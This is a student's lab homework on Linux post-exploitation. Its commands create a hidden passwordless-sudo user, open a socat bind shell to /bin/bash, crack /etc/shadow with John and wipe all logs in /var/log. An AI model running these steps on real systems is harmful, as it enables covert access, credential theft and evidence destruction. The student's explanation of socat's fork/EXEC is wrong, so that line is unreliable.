Zachary Smith

## Submission for Unit 6 Advanced Bash Homework

Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

- sudo adduser --system --no-create-home sysd

Give your secret user a password.

- sudo passwd sysd

Give your secret user a system UID < 1000.

- id -u sysd output: 547

Give your secret user the same GID

- id -g sysd output: 547

Give your secret user full sudo access without the need for a password.

- sudo nano /etc/sudoers , added the line sysd ALL=(ALL:ALL) NOPASSWD:ALL

Test that sudo access works without your password

```

sudo nano /etc/passwd , no password needed

sudo passwd root , allowed me to change it with no password

```

## Allow ssh access over port 2222.

```bash

sudo nano /etc/ssh/sshd\_config , added Port 2222 under line #Port 22

```

Note the IP address of this system:

- ifconfig , output: 192.168.23.131 (same as gitbash)

Exit the root accout.

- exit (as root)

SSH to the machine using your sysd account and port 2222

- ssh sysd@192.168.23.131 -p 2222

Use sudo to switch to the root user

- sudo su root (worked with no password)

### Create a backdoor with socat

- Install socat

- apt-get install socat (ran as root)

- Run Socat command in the background

- socat TCP4-Listen:3177,fork EXEC:/bin/bash

- Explain each part of the `socat` command:

- TCP4-Listen: listening on TCP protocol for IPv4

- 3177,: 3177 is the port it is listening to

- fork EXEC:/bin/bash= creating a copy and putting it in /bin/bash

- Exit the SSH session

- exit

- Test socat connection from your local machine

- socat STDIO TCP4:192.168.23.131:3177

- Close the `socat` connection.

- exit

## Crack \_all\_ the passwords

Ssh back to the system using your sysd account

- ssh syd@192.168.23.131 -p 2222

- Use John to crack the entire /etc/shadow file

- cp /etc/passwd ~/passwd.txt and cp /etc/shadow ~/shadow.txt

- unshadow passwd.txt shadow.txt > passwords.txt

- john passwords.txt

## Cover your tracks

- Use socat and a for loop to clear all system logs.

- While socat was running I did the loop [for log in $(ls /var/log); do echo '' > /var/log/${log} ;done]